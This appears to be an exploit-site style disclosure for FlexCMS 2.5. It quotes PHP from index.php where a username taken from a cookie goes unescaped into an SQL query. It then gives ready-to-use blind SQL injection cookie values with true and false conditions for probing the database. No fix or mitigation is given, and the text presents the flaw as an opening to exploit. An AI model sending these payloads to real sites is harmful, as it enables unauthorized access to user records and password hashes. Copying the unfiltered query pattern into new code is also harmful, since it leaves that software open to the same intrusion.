Site product: www.flexcms.com
Version: 2.5
Requirements: magic_quotes_gpc = off

Vulnerability file (index.php) :


$CookieData = $HTTP_COOKIE_VARS[$CookieName]; 

$LoggedIn = 'n'; 
$UserLevel = 0; 
  
if ($CookieData != '' && $CookieData != 'not_logged_in') { 
    list ($CookieUsername, $CookiePassword) = split('==', $CookieData, 2); 
    if ($CookieUsername != '' && $CookiePassword != '') { 
        $query = "select RecordNumber,Level,Password,DisplayName,SessionLen  gth from `".$Settings['DBPrefix']."core-Users` where Username='$CookieUsername' LIMIT 1"; 
        $result = mysql_query($query) or die (mysql_error()); 


In the cookies sent login and pass, in such a
login == hash_pass
Because the variable $ CookieUsername not filtered and if magic_quotes_gpc = off is the opportunity to inj3ct0r


Example:


True: FCLoginData12345=qwerty'+and+1=1/*%3D%3DqwDyM1dbqwDyM1db9iOPI
False: FCLoginData12345=qwerty'+and+1=2/*%3D%3DqwDyM1dbqwDyM1db9iOPI
